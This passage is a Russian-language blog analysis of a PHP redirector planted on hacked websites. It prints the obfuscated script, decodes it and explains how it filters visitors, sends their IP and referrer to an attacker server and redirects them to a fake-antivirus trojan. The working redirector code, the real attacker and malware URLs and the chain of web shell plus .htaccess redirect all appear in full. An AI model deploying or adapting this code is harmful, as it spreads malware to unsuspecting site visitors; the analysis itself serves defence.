X'.'B0LUN'.'o'.'YXJzZXQ6IE'.'lTTy0'.'4OD'.'U'.'5LTEsdXRmLTg'.'7cT0w'.'LjcsKj'.'txPTA'.'u'.'N'.'w0'.'K','Q29udG'.'VudC1M'.'ZW5n'.'dGg'.'6IA='.'=','D'.'Q'.'o=','','DQ'.'oN'.'Cg==','bQ==','am'.'1wcA==');return base64_decode($a[$i]);} ?><?php $GLOBALS['_664181862_'][0](_724562126(0),_724562126(1));$_0=isset($_SERVER[_724562126(2)])?$GLOBALS['_664181862_'][1]($_SERVER[_724562126(3)]):_724562126(4);(round(0+3419)-round(0+1139.6666666667+1139.6666666667+1139.6666666667)+round(0+3826)-round(0+1275.3333333333+1275.3333333333+1275.3333333333))?$GLOBALS['_664181862_'][2]($_1,$_2):$GLOBALS['_664181862_'][3](round(0+854.75+854.75+854.75+854.75),round(0+1938+1938));if($GLOBALS['_664181862_'][4]($_0,_724562126(5))===false){exit(_724562126(6));}$_3=array(_724562126(7),_724562126(8),_724562126(9),_724562126(10),_724562126(11),);$_4=false;foreach($_3 as $_5){if($GLOBALS['_664181862_'][5]($_0,$_5)!==false){$_4=true;break;}}if(!$_4){exit(_724562126(12));}$_6=isset($_SERVER[_724562126(13)])?$_SERVER[_724562126(14)]:_724562126(15);if(empty($_6)){exit(_724562126(16));}$_SERVER[_724562126(17)]=$GLOBALS['_664181862_'][6]($_SERVER[_724562126(18)]);$_SERVER[_724562126(19)]=$GLOBALS['_664181862_'][7](_724562126(20),_724562126(21),$_SERVER[_724562126(22)]);$_7=_724562126(23) .$GLOBALS['_664181862_'][8]($_SERVER[_724562126(24)]) ._724562126(25) .$GLOBALS['_664181862_'][9]($_SERVER[_724562126(26)] ._724562126(27) .$_6);;$_8=l__0($_7);if($_8==_724562126(28)){exit(_724562126(29));}$GLOBALS['_664181862_'][10](_724562126(30) .$GLOBALS['_664181862_'][11]($_8));function l__0($_9){if($GLOBALS['_664181862_'][12](_724562126(31))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){return l__1($_9);}else{$_10=$GLOBALS['_664181862_'][13](ADMIN_REDIR_URL);if($_11=@$GLOBALS['_664181862_'][14]($_10[_724562126(32)],round(0+80),$_12,$_13,round(0+3.75+3.75+3.75+3.75))){return l__2($_11,$_10[_724562126(33)],$_10[_724562126(34)],$_9);}elseif(@$GLOBALS['_664181862_'][15](_724562126(35))){return l__3($_9);}}}function l__1($_7){$_14=$GLOBALS['_664181862_'][16](array(_724562126(36)=> array(_724562126(37)=> _724562126(38),_724562126(39)=> _724562126(40) ._724562126(41),_724562126(42)=> $_7,),));if((round(0+767.6+767.6+767.6+767.6+767.6)^round(0+1279.3333333333+1279.3333333333+1279.3333333333))&& $GLOBALS['_664181862_'][17]($_4,$_15,$_5))$GLOBALS['_664181862_'][18]($_16);return $GLOBALS['_664181862_'][19](ADMIN_REDIR_URL,false,$_14);$_17=_724562126(43);}function l__2($_11,$_18,$_19,$_7){$GLOBALS['_664181862_'][20]($_11,_724562126(44) .$_19 ._724562126(45) ."Host: $_18rn" ._724562126(46) ._724562126(47) ._724562126(48) ._724562126(49) ._724562126(50) .$GLOBALS['_664181862_'][21]($_7) ._724562126(51) ."Content-Type: application/x-www-form-urlencodedrnrn$_7");$_2=_724562126(52);if(round(0+1000.25+1000.25+1000.25+1000.25)<$GLOBALS['_664181862_'][22](round(0+537+537+537),round(0+596.25+596.25+596.25+596.25)))$GLOBALS['_664181862_'][23]($_20,$_19,$_13);while($_15=$GLOBALS['_664181862_'][24]($_11,round(0+4096))){$_2 .= $_15;}$GLOBALS['_664181862_'][25]($_11);$_21=round(0+572+572);$_20=$GLOBALS['_664181862_'][26]($_2,_724562126(53));if(round(0+2240+2240)<$GLOBALS['_664181862_'][27](round(0+359.75+359.75+359.75+359.75),round(0+759+759+759+759)))$GLOBALS['_664181862_'][28]($_14,$_20);$_2=$GLOBALS['_664181862_'][29]($_2,$_20+round(0+0.8+0.8+0.8+0.8+0.8));$_22=round(0+500.8+500.8+500.8+500.8+500.8);return $_2;}function l__3($_7){$_1=$GLOBALS['_664181862_'][30](ADMIN_REDIR_URL);(round(0+149+149+149)-round(0+447)+round(0+215)-round(0+71.666666666667+71.666666666667+71.666666666667))?$GLOBALS['_664181862_'][31]($_4,$_15,$_18):$GLOBALS['_664181862_'][32](round(0+89.4+89.4+89.4+89.4+89.4),round(0+3183));$GLOBALS['_664181862_'][33]($_1,42,FALSE);$_23=_724562126(54);$GLOBALS['_664181862_'][34]($_1,19913,TRUE);if((round(0+2508)+round(0+2036.5+2036.5))>round(0+2508)|| $GLOBALS['_664181862_'][35]($_20));else{$GLOBALS['_664181862_'][36]($_15,$_7,$_12);}$GLOBALS['_664181862_'][37]($_1,13,round(0+3.75+3.75+3.75+3.75));$_24=_724562126(55);$GLOBALS['_664181862_'][38]($_1,10015,$_7);if((round(0+440+440+440+440)+round(0+200.25+200.25+200.25+200.25))>round(0+586.66666666667+586.66666666667+586.66666666667)|| $GLOBALS['_664181862_'][39]($_11,$_3,$_15));else{$GLOBALS['_664181862_'][40]($_13,$_1);}$_16=$GLOBALS['_664181862_'][41]($_1);$GLOBALS['_664181862_'][42]($_1);$_25=round(0+1576.6666666667+1576.6666666667+1576.6666666667);return $_16;}
Само собой — файл в одну строку, содержимое закодировано.
Добавим переносов:
<? $GLOBALS['_664181862_']=Array(
base64_decode('ZGVmaW5l'),
base64_decode('c3RydG9sb3dlcg=='),
base64_decode('aW1hZ2VjcmVhdGVmcm9tZ2lm'),
base64_decode('bXRfcmFuZA=='),
base64_decode('c3RycG9z'),
base64_decode('c3RycG9z'),
base64_decode('c3RydG9sb3dlcg=='),
base64_decode('c3RyX3JlcGxhY2U='),
base64_decode('dXJsZW5jb2Rl'),
base64_decode('dXJsZW5jb2Rl'),
base64_decode('aGVhZGVy'),
base64_decode('dHJpbQ=='),
base64_decode('aW5pX2dldA=='),
base64_decode('cGFyc2VfdXJs'),
base64_decode('ZnNvY2tvcGVu'),
base64_decode('ZnVuY3Rpb25fZXhpc3Rz'),
base64_decode('c3RyZWFtX2NvbnRleHRfY3JlYXRl'),
base64_decode('YXJyYXlfcmVkdWNl'),
base64_decode('ZmZsdXNo'),
base64_decode('ZmlsZV9nZXRfY29udGVudHM='),
base64_decode('ZnB1dHM='),
base64_decode('c3RybGVu'),
base64_decode('bXRfcmFuZA=='),
base64_decode('YXJyYXlfZmlsbA=='),
base64_decode('ZnJlYWQ='),
base64_decode('ZmNsb3Nl'),
base64_decode('c3RycG9z'),
base64_decode('bXRfcmFuZA=='),
base64_decode('YXJyYXlfZmxpcA=='),
base64_decode('c3Vic3Ry'),
base64_decode('Y3VybF9pbml0'),
base64_decode('c3Vic3Ry'),
base64_decode('bXRfcmFuZA=='),
base64_decode('Y3VybF9zZXRvcHQ='),
base64_decode('Y3VybF9zZXRvcHQ='),
base64_decode('cHJlZ19yZXBsYWNl'),
base64_decode('ZnJlYWQ='),
base64_decode('Y3VybF9zZXRvcHQ='),
base64_decode('Y3VybF9zZXRvcHQ='),
base64_decode('c3RydmFs'),
base64_decode('YXJyYXlfbWVyZ2U='),
base64_decode('Y3VybF9leGVj'),
base64_decode('Y3VybF9jbG9zZQ=='));
?><?
function _724562126($i){
$a=Array(
'QURNSU5fUkVESVJfVVJM',
'aHR0cDovL3Rlc3QuY3VzdG9tc2V4Y2Ftcy5jb20vcmIvZ2V0X3VybC5waHA=',
'SFRUUF9VU0VSX0FHRU5U',
'SFRUUF9VU0VSX0FHRU5U',
'',
'd2luZG93cw==',
'MXo=',
'b3BlcmEvOS44MA==',
'bXNpZSAxMA==',
'bXNpZSA5',
'bXNpZSA4',
'bXNpZSA3',
'Mno=',
'SFRUUF9SRUZFUkVS',
'SFRUUF9SRUZFUkVS',
'',
'M3o=',
'SFRUUF9IT1NU',
'SFRUUF9IT1NU',
'SFRUUF9IT1NU',
'd3d3Lg==',
'',
'SFRUUF9IT1NU',
'ZD0=',
'SFRUUF9IT1NU',
'Og==',
'UkVNT1RFX0FERFI=',
'Og==',
'QkFE',
'NHo=',
'TG9jYXRpb246IA==',
'YWxsb3dfdXJsX2ZvcGVu',
'aG9zdA==',
'aG9zdA==',
'cGF0aA==',
'Y3VybF9pbml0',
'aHR0cA==',
'bWV0aG9k',
'UE9TVA==',
'aGVhZGVy',
'Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ=',
'Cg==',
'Y29udGVudA==',
'Yms=',
'UE9TVCA=',
'ICBIVFRQLzEuMA0K',
'VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjAuMykgR2Vja28vMjAwNjA0MjYgRmlyZWZveC8xLjUuMC4zDQo=',
'QWNjZXB0OiAqLyoNCg==',
'QWNjZXB0LUxhbmd1YWdlOiBlbi11cyxlbjtxPTAuNQ0K',
'QWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0K',
'Q29udGVudC1MZW5ndGg6IA==',
'DQo=',
'',
'DQoNCg==',
'bQ==',
'am1wcA==');
return base64_decode($a[$i]);
}
?><?php
$GLOBALS['_664181862_'][0](_724562126(0),_724562126(1));
$_0=isset($_SERVER[_724562126(2)])?$GLOBALS['_664181862_'][1]($_SERVER[_724562126(3)]):_724562126(4);
(round(0+3419)-round(0+1139.6666666667+1139.6666666667+1139.6666666667)+round(0+3826)-round(0+1275.3333333333+1275.3333333333+1275.3333333333))?$GLOBALS['_664181862_'][2]($_1,$_2):$GLOBALS['_664181862_'][3](round(0+854.75+854.75+854.75+854.75),round(0+1938+1938));
if($GLOBALS['_664181862_'][4]($_0,_724562126(5))===false){
exit(_724562126(6));
}
$_3=array(_724562126(7),_724562126(8),_724562126(9),_724562126(10),_724562126(11),);
$_4=false;
foreach($_3 as $_5){
if($GLOBALS['_664181862_'][5]($_0,$_5)!==false){
$_4=true;
break;
}
}
if(!$_4){
exit(_724562126(12));
}
$_6=isset($_SERVER[_724562126(13)])?$_SERVER[_724562126(14)]:_724562126(15);
if(empty($_6)){
exit(_724562126(16));
}
$_SERVER[_724562126(17)]=$GLOBALS['_664181862_'][6]($_SERVER[_724562126(18)]);
$_SERVER[_724562126(19)]=$GLOBALS['_664181862_'][7](_724562126(20),_724562126(21),$_SERVER[_724562126(22)]);
$_7=_724562126(23) .$GLOBALS['_664181862_'][8]($_SERVER[_724562126(24)]) ._724562126(25) .$GLOBALS['_664181862_'][9]($_SERVER[_724562126(26)] ._724562126(27) .$_6);;
$_8=l__0($_7);
if($_8==_724562126(28)){
exit(_724562126(29));
}
$GLOBALS['_664181862_'][10](_724562126(30) .$GLOBALS['_664181862_'][11]($_8));
function l__0($_9){
if($GLOBALS['_664181862_'][12](_724562126(31))== round(0+0.33333333333333+0.33333333333333+0.33333333333333)){
return l__1($_9);
}else{
$_10=$GLOBALS['_664181862_'][13](ADMIN_REDIR_URL);
if($_11=@$GLOBALS['_664181862_'][14]($_10[_724562126(32)],round(0+80),$_12,$_13,round(0+3.75+3.75+3.75+3.75))){
return l__2($_11,$_10[_724562126(33)],$_10[_724562126(34)],$_9);
}elseif(@$GLOBALS['_664181862_'][15](_724562126(35))){
return l__3($_9);
}
}
}
function l__1($_7){
$_14=$GLOBALS['_664181862_'][16](array(_724562126(36)=> array(_724562126(37)=> _724562126(38),_724562126(39)=> _724562126(40) ._724562126(41),_724562126(42)=> $_7,),));
if((round(0+767.6+767.6+767.6+767.6+767.6)^round(0+1279.3333333333+1279.3333333333+1279.3333333333))&& $GLOBALS['_664181862_'][17]($_4,$_15,$_5))$GLOBALS['_664181862_'][18]($_16);
return $GLOBALS['_664181862_'][19](ADMIN_REDIR_URL,false,$_14);
$_17=_724562126(43);
}
function l__2($_11,$_18,$_19,$_7){
$GLOBALS['_664181862_'][20]($_11,_724562126(44) .$_19 ._724562126(45) ."Host: $_18rn" ._724562126(46) ._724562126(47) ._724562126(48) ._724562126(49) ._724562126(50) .$GLOBALS['_664181862_'][21]($_7) ._724562126(51) ."Content-Type: application/x-www-form-urlencodedrnrn$_7");
$_2=_724562126(52);
if(round(0+1000.25+1000.25+1000.25+1000.25)<$GLOBALS['_664181862_'][22](round(0+537+537+537),round(0+596.25+596.25+596.25+596.25)))$GLOBALS['_664181862_'][23]($_20,$_19,$_13);
while($_15=$GLOBALS['_664181862_'][24]($_11,round(0+4096))){
$_2 .= $_15;
}
$GLOBALS['_664181862_'][25]($_11);
$_21=round(0+572+572);
$_20=$GLOBALS['_664181862_'][26]($_2,_724562126(53));
if(round(0+2240+2240)<$GLOBALS['_664181862_'][27](round(0+359.75+359.75+359.75+359.75),round(0+759+759+759+759)))$GLOBALS['_664181862_'][28]($_14,$_20);
$_2=$GLOBALS['_664181862_'][29]($_2,$_20+round(0+0.8+0.8+0.8+0.8+0.8));
$_22=round(0+500.8+500.8+500.8+500.8+500.8);
return $_2;
}
function l__3($_7){
$_1=$GLOBALS['_664181862_'][30](ADMIN_REDIR_URL);
(round(0+149+149+149)-round(0+447)+round(0+215)-round(0+71.666666666667+71.666666666667+71.666666666667))?$GLOBALS['_664181862_'][31]($_4,$_15,$_18):$GLOBALS['_664181862_'][32](round(0+89.4+89.4+89.4+89.4+89.4),round(0+3183));
$GLOBALS['_664181862_'][33]($_1,42,FALSE);
$_23=_724562126(54);
$GLOBALS['_664181862_'][34]($_1,19913,TRUE);
if((round(0+2508)+round(0+2036.5+2036.5))>round(0+2508)|| $GLOBALS['_664181862_'][35]($_20));
else{
$GLOBALS['_664181862_'][36]($_15,$_7,$_12);
}
$GLOBALS['_664181862_'][37]($_1,13,round(0+3.75+3.75+3.75+3.75));
$_24=_724562126(55);
$GLOBALS['_664181862_'][38]($_1,10015,$_7);
if((round(0+440+440+440+440)+round(0+200.25+200.25+200.25+200.25))>round(0+586.66666666667+586.66666666667+586.66666666667)|| $GLOBALS['_664181862_'][39]($_11,$_3,$_15));
else{
$GLOBALS['_664181862_'][40]($_13,$_1);
}
$_16=$GLOBALS['_664181862_'][41]($_1);
$GLOBALS['_664181862_'][42]($_1);
$_25=round(0+1576.6666666667+1576.6666666667+1576.6666666667);
return $_16;
}
?>
Расшифровываем код:
<? $GLOBALS['_664181862_']=Array(
// [0] => define
// [1] => strtolower
// [2] => imagecreatefromgif
// [3] => mt_rand
// [4] => strpos
// [5] => strpos
// [6] => strtolower
// [7] => str_replace
// [8] => urlencode
// [9] => urlencode
// [10] => header
// [11] => trim
// [12] => ini_get
// [13] => parse_url
// [14] => fsockopen
// [15] => function_exists
// [16] => stream_context_create
// [17] => array_reduce
// [18] => fflush
// [19] => file_get_contents
// [20] => fputs
// [21] => strlen
// [22] => mt_rand
// [23] => array_fill
// [24] => fread
// [25] => fclose
// [26] => strpos
// [27] => mt_rand
// [28] => array_flip
// [29] => substr
// [30] => curl_init
// [31] => substr
// [32] => mt_rand
// [33] => curl_setopt
// [34] => curl_setopt
// [35] => preg_replace
// [36] => fread
// [37] => curl_setopt
// [38] => curl_setopt
// [39] => strval
// [40] => array_merge
// [41] => curl_exec
// [42] => curl_close
base64_decode('ZGVmaW5l'),
base64_decode('c3RydG9sb3dlcg=='),
base64_decode('aW1hZ2VjcmVhdGVmcm9tZ2lm'),
base64_decode('bXRfcmFuZA=='),
base64_decode('c3RycG9z'),
base64_decode('c3RycG9z'),
base64_decode('c3RydG9sb3dlcg=='),
base64_decode('c3RyX3JlcGxhY2U='),
base64_decode('dXJsZW5jb2Rl'),
base64_decode('dXJsZW5jb2Rl'),
base64_decode('aGVhZGVy'),
base64_decode('dHJpbQ=='),
base64_decode('aW5pX2dldA=='),
base64_decode('cGFyc2VfdXJs'),
base64_decode('ZnNvY2tvcGVu'),
base64_decode('ZnVuY3Rpb25fZXhpc3Rz'),
base64_decode('c3RyZWFtX2NvbnRleHRfY3JlYXRl'),
base64_decode('YXJyYXlfcmVkdWNl'),
base64_decode('ZmZsdXNo'),
base64_decode('ZmlsZV9nZXRfY29udGVudHM='),
base64_decode('ZnB1dHM='),
base64_decode('c3RybGVu'),
base64_decode('bXRfcmFuZA=='),
base64_decode('YXJyYXlfZmlsbA=='),
base64_decode('ZnJlYWQ='),
base64_decode('ZmNsb3Nl'),
base64_decode('c3RycG9z'),
base64_decode('bXRfcmFuZA=='),
base64_decode('YXJyYXlfZmxpcA=='),
base64_decode('c3Vic3Ry'),
base64_decode('Y3VybF9pbml0'),
base64_decode('c3Vic3Ry'),
base64_decode('bXRfcmFuZA=='),
base64_decode('Y3VybF9zZXRvcHQ='),
base64_decode('Y3VybF9zZXRvcHQ='),
base64_decode('cHJlZ19yZXBsYWNl'),
base64_decode('ZnJlYWQ='),
base64_decode('Y3VybF9zZXRvcHQ='),
base64_decode('Y3VybF9zZXRvcHQ='),
base64_decode('c3RydmFs'),
base64_decode('YXJyYXlfbWVyZ2U='),
base64_decode('Y3VybF9leGVj'),
base64_decode('Y3VybF9jbG9zZQ=='));
?><?
function _724562126($i){
// [0] => ADMIN_REDIR_URL
// [1] => http://test.customsexcams.com/rb/get_url.php
// [2] => HTTP_USER_AGENT
// [3] => HTTP_USER_AGENT
// [4] =>
// [5] => windows
// [6] => 1z
// [7] => opera/9.80
// [8] => msie 10
// [9] => msie 9
// [10] => msie 8
// [11] => msie 7
// [12] => 2z
// [13] => HTTP_REFERER
// [14] => HTTP_REFERER
// [15] =>
// [16] => 3z
// [17] => HTTP_HOST
// [18] => HTTP_HOST
// [19] => HTTP_HOST
// [20] => www.
// [21] =>
// [22] => HTTP_HOST
// [23] => d=
// [24] => HTTP_HOST
// [25] => :
// [26] => REMOTE_ADDR
// [27] => :
// [28] => BAD
// [29] => 4z
// [30] => Location:
// [31] => allow_url_fopen
// [32] => host
// [33] => host
// [34] => path
// [35] => curl_init
// [36] => http
// [37] => method
// [38] => POST
// [39] => header
// [40] => Content-Type: application/x-www-form-urlencoded
// [41] =>
// [42] => content
// [43] => bk
// [44] => POST
// [45] => HTTP/1.0
// [46] => User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3
// [47] => Accept: */*
// [48] => Accept-Language: en-us,en;q=0.5
// [49] => Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
// [50] => Content-Length:
// [51] =>
// [52] =>
// [53] =>
// [54] => m
// [55] => jmpp
$a=Array(
'QURNSU5fUkVESVJfVVJM',
'aHR0cDovL3Rlc3QuY3VzdG9tc2V4Y2Ftcy5jb20vcmIvZ2V0X3VybC5waHA=',
'SFRUUF9VU0VSX0FHRU5U',
'SFRUUF9VU0VSX0FHRU5U',
'',
'd2luZG93cw==',
'MXo=',
'b3BlcmEvOS44MA==',
'bXNpZSAxMA==',
'bXNpZSA5',
'bXNpZSA4',
'bXNpZSA3',
'Mno=',
'SFRUUF9SRUZFUkVS',
'SFRUUF9SRUZFUkVS',
'',
'M3o=',
'SFRUUF9IT1NU',
'SFRUUF9IT1NU',
'SFRUUF9IT1NU',
'd3d3Lg==',
'',
'SFRUUF9IT1NU',
'ZD0=',
'SFRUUF9IT1NU',
'Og==',
'UkVNT1RFX0FERFI=',
'Og==',
'QkFE',
'NHo=',
'TG9jYXRpb246IA==',
'YWxsb3dfdXJsX2ZvcGVu',
'aG9zdA==',
'aG9zdA==',
'cGF0aA==',
'Y3VybF9pbml0',
'aHR0cA==',
'bWV0aG9k',
'UE9TVA==',
'aGVhZGVy',
'Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ=',
'Cg==',
'Y29udGVudA==',
'Yms=',
'UE9TVCA=',
'ICBIVFRQLzEuMA0K',
'VXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjAuMykgR2Vja28vMjAwNjA0MjYgRmlyZWZveC8xLjUuMC4zDQo=',
'QWNjZXB0OiAqLyoNCg==',
'QWNjZXB0LUxhbmd1YWdlOiBlbi11cyxlbjtxPTAuNQ0K',
'QWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0K',
'Q29udGVudC1MZW5ndGg6IA==',
'DQo=',
'',
'DQoNCg==',
'bQ==',
'am1wcA==');
return base64_decode($a[$i]);
}
?><?php
define(ADMIN_REDIR_URL,"http://test.customsexcams.com/rb/get_url.php");
if (isset($_SERVER[HTTP_USER_AGENT])) {
$_0 = strtolower($_SERVER[HTTP_USER_AGENT]);
} else {
$_0 = "";
}
if(0){
imagecreatefromgif($_1,$_2);
} else {
mt_rand(3419,3876);
}
if (strpos($_0,"windows")===false){
exit("1z");
}
$_3=Array("opera/9.80", "msie 10", "msie 9", "msie 8", "msie 7",);
$_4=false;
foreach($_3 as $_5){
if (strpos($_0,$_5)!==false){
$_4=true;
break;
}
}
if(!$_4){
exit("2z");
}
if (isset($_SERVER[HTTP_REFERER])){
$_6 = $_SERVER[HTTP_REFERER]);
} else {
$_6 = "";
}
if(empty($_6)){
exit("3z");
}
$_SERVER[HTTP_HOST]=strtolower($_SERVER[HTTP_HOST]);
$_SERVER[HTTP_HOST]=str_replace("www.", "",$_SERVER[HTTP_HOST]);
$_7="d=urlencode($_SERVER[HTTP_HOST]):urlencode($_SERVER[REMOTE_ADDR]:$_6);";
$_8=l__0($_7);
if ($_8="BAD"){
exit("4z");
}
header("Location: ".trim($_8));
function l__0($_9){
if (ini_get(allow_url_fopen)==1){
return l__1($_9);
} else {
$_10 = parse_url(ADMIN_REDIR_URL);
if ($_11=@fsockopen($_10[host], 80, $_12, $_13, 15){
return l__2($_11,$_10[host],$_10[path],$_9);
} elseif (@function_exists(curl_init)){
return l__3($_9);
}
}
}
function l__1($_7){
$_14=stream_context_create(array(http=>array(method=>POST, header=>"Content-Type: application/x-www-form-urlencoded ",content=>$_7,),));
if (0 && array_reduce($_4, $_15, $_5)){ //- мусор
fflush($_16);
}
return file_get_contents(ADMIN_REDIR_URL,false,$_14);
$_17 = "bk"; //мусор
}
function l__2($_11,$_18,$_19,$_7){
fputs($_11, "POST ".$_19." HTTP/1.0rn
Host: $_18rn
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3rn
Accept: */*rn
Accept-Language: en-us,en;q=0.5rn
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7rn
Content-Length: ".strlen($_7)."rn
Content-Type: application/x-www-form-urlencodedrnrn$_7");
$_2="";
if (4001<mt_rand(1611,2385)) { // мусор
array_fill($_20,$_19,$_13);
}
while ($_15=fread($_11, 4096)){
$_2 .= $_15;
}
fclose($_11);
$_21 = 1144; // мусор
$_20 = strpos($_2, "");
if (4480<mt_rand(1439,3036)){ // мусор
array_flip($_14, $_20);
}
$_2=substr($_2, $_20+4);
$_22 = 2504; // мусор
return $_2;
}
function l__3($_7){
$_1 = curl_init(ADMIN_REDIR_URL);
if (0){ // мусор
substr($_4, $_15, $_18);
} else {
mt_rand(447, 3183);
}
curl_setopt($_1, 42, FALSE);
$_23 = m; // мусор
curl_setopt($_1,19913,TRUE);
if (6581>2508 || preg_replace($_20)); //мусор
else{
fread($_15,$_7,$_12);
}
curl_setopt($_1,13,15);
$_24 = jmpp; //мусор
curl_setopt($_1,10015,$_7);
if (2561>1760 || strval($_11,$_3,$_15)); // мусор
else {
array_merge($_13,$_1);
}
$_16=curl_exec($_1);
curl_close($_1);
$_25=4730; //мусор
return $_16;
}
?>
Удаляем лишнее:
<?php
define(ADMIN_REDIR_URL,"http://test.customsexcams.com/rb/get_url.php");
if (isset($_SERVER[HTTP_USER_AGENT])) { // Проверка наличия юзер-агента
$_0 = strtolower($_SERVER[HTTP_USER_AGENT]);
} else {
$_0 = "";
}
if (strpos($_0,"windows")===false){ // если юзер-агента нет, или в нём нет упоминания слова "windows", на экран выводится 1z. Скрипт завершается.
exit("1z");
}
$_3=Array("opera/9.80", "msie 10", "msie 9", "msie 8", "msie 7",);
$_4=false;
foreach($_3 as $_5){
if (strpos($_0,$_5)!==false){ //проверка упоминания в юзер-агенте браузера Opera или ШУ
$_4=true;
break;
}
}
if(!$_4){
exit("2z"); //если браузер иной - вывод на экран 2z. Скрипт завершается.
}
if (isset($_SERVER[HTTP_REFERER])){ // проверка наличия реферера
$_6 = $_SERVER[HTTP_REFERER];
} else {
$_6 = "";
}
if(empty($_6)){ // если нет реферера - вывод на экран 3z. Скрипт завершается.
exit("3z");
}
$_SERVER[HTTP_HOST]=strtolower($_SERVER[HTTP_HOST]);
$_SERVER[HTTP_HOST]=str_replace("www.", "",$_SERVER[HTTP_HOST]); //
$_7="d=urlencode($_SERVER[HTTP_HOST]):urlencode($_SERVER[REMOTE_ADDR]:$_6);"; // строка вида d=АДРЕС_САЙТА:АДРЕС_КЛИЕНТА:РЕФЕРАЛ
$_8=l__0($_7);
if ($_8="BAD"){ // если содержимое полученного файла "BAD" - вывод на экран 4z. Скрипт завершается.
exit("4z");
}
header("Location: ".trim($_8)); // если всё удалось, переходим по полученной ссылке
function l__0($paramurl){ // выбор способа получения данных из файла
if (ini_get(allow_url_fopen)==1){
return l__1($paramurl);
} else {
$_10 = parse_url(ADMIN_REDIR_URL);
if ($_11=@fsockopen($_10[host], 80, $_12, $_13, 15){
return l__2($_11,$_10[host],$_10[path],$paramurl);
} elseif (@function_exists(curl_init)){
return l__3($paramurl);
}
}
}
function l__1($paramurl){ // получение данных из файла с помощью file_get_contents
$_14=stream_context_create(array(
http=>array(
method=>POST,
header=>"Content-Type: application/x-www-form-urlencoded ",
content=>$paramurl,
),
)
);
return file_get_contents(ADMIN_REDIR_URL,false,$_14);
}
function l__2($socket, $host, $path, $paramurl){ // получение данных из файла с помощью fsockopen
fputs($socket, "POST ".$path." HTTP/1.0rn
Host: $hostrn
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3rn
Accept: */*rn
Accept-Language: en-us,en;q=0.5rn
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7rn
Content-Length: ".strlen($paramurl)."rn
Content-Type: application/x-www-form-urlencodedrnrn$paramurl");
$response="";
while ($buffer=fread($socket, 4096)){
$response .= $buffer;
}
fclose($socket);
$header_end = strpos($response, "");
$response=substr($response, $header_end+4);
return $response;
}
function l__3($paramurl){ // получение данных из файла с помощью curl
$curl = curl_init(ADMIN_REDIR_URL);
curl_setopt($curl, 42, FALSE);
curl_setopt($curl,19913,TRUE);
curl_setopt($curl,13,15);
curl_setopt($curl,10015,$paramurl);
$response=curl_exec($curl);
curl_close($curl);
return $response;
}
?>
Суть скрипта — обращение по адресу test.customsexcams.com/rb/get_url.php с определённым параметром (вида d=АДРЕС_САЙТА: АДРЕС_КЛИЕНТА: РЕФЕРАЛ).
Быстренько, скопировав одну из функций, я запустил свой скрипт, чтобы перейти к следующему шагу:
$purl="d=weddingcatering.co.th:80.112.243.203%3AEach_will_be_rewarded_according_to_merit";
$_14=stream_context_create(array(
http=>array(
method=>POST,
header=>"Content-Type: application/x-www-form-urlencoded ",
content=>$purl,
),
)
);
$resp = file_get_contents(ADMIN_REDIR_URL,false,$_14);
echo $resp;
И получил в ответ лаконичное: BAD.
И тут мне пришло в голову с адресе сайта использовать не любой из своего списка, а именно тот, который сейчас находится в коде файла 7.txt. Ответ был иным:
Переходя по ссылке, представленной ниже, Вы рискуете заразить свой компьютер трояном!
хттп://blog2.companyscoming.co:3811/books/site-map.php?radio=888&themes=883&login=82&advocacy=833&browser=79
Параметры после знака "?" генерируются рандомно и не имеют значения.
Так как я пользуюсь браузером Google Chrome, при переходе на данную страницу я увидел 502 ошибку. Но стоило запустить браузер Opera, как мне тут же предложили выполнить некое Java-приложение, которое Антивирус Касперского определил как Trojan/Win32.badur.a. Этот зловред закрывает все открытые программы (а те, что Вы попытаетесь открыть — сразу закроет) и запускает себя — некий сканер компьютера на вирусы, который тут же находит на Вашем компьютере букет всякой заразы и настойчиво предлагает активировать его за 60$ на год (90$ за 3 года!). Убивается сея зараза удалением файла tdefender.exe (defender.exe) в директории %AppData%RandomName% (в моём случае — AppDataRoaming) и стиранием ключа в реестре, в ветках, ответственных за автозапуск (Run).
На этот моё расследование подошло к концу.
Итог.
Схема такова:
- Находится сайт с уязвимостью, на который загружается шелл.
- С помощью шелла загружается подставная страница и в файл .htaccess добавляется перенаправление на эту страницу. Перенаправление работает только для тех, кто приходит на сайт с какого-либо другого сайта (поисковик, каталог и т.д.), указанно в списке, в файле .htaccess.
- Пользователь попадает на подставную страницу, скрипт пытается обратиться по адресу wordpresstest.info/7.txt любым доступным способом (file_get_contents/fsockopen/curl) и получить его содержимое — html-код прозрачного фрейма, который открывает очередной вредоносный скрипт на очередном взломанной сайте (например, betterlife-downloads.com/wsfhxjo.php).
- Этот скрипт проверяет наличие юзер-агента, ОС, браузер и отправляет запрос с параметром на очередной вредоносный скрипт (test.customsexcams.com/rb/get_url.php). В параметре должен находиться адрес взломанного сайта (второго по счёту в моём описании). Если адрес сменился — скрипт не отработает.
- Но если все условия выполнены — скрипт вернётся ссылку на очередной сервер, с которого происходит скачивание Trojan/Win32.badur.a, которой на даёт работать и настойчиво просит денег.
Послесловие.
От взлома сайта никто не застрахован, поэтому не стоит забывать о простых мерах предосторожности:
- Не используйте для доступа к административной части сайта/панели управления хостингом/доступа по FTP и SSH простые пароли.
- Не храните пароли для доступа по FTP в FTP-клиенте.
